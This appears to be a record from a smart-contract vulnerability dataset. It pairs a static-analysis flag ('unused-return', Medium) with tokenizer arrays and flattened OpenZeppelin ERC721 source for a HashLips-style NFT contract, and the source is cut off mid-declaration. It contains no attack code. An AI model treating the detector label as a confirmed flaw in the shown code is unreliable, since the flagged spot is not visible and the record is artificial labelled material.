9a33db2074b80779d907f12313a21f0cb8416a8800910439b8e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 16932, 22932, 2546, 25746, 27421, 21057, 28311, 2692, 2063, 15136, 2629, 2278, 2475, 27421, 2575, 2546, 2581, 2620, 2620, 2497, 16932, 9818, 2497, 10790, 2497, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 1013, 1013, 3395, 2000, 1996, 10210, 6105, 1012, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,826
0x9771B5A38D3557D6B64d0D70354d333B70ABb0a8
// SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract DinoCryptoWorld is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.04 ether; uint256 public maxSupply = 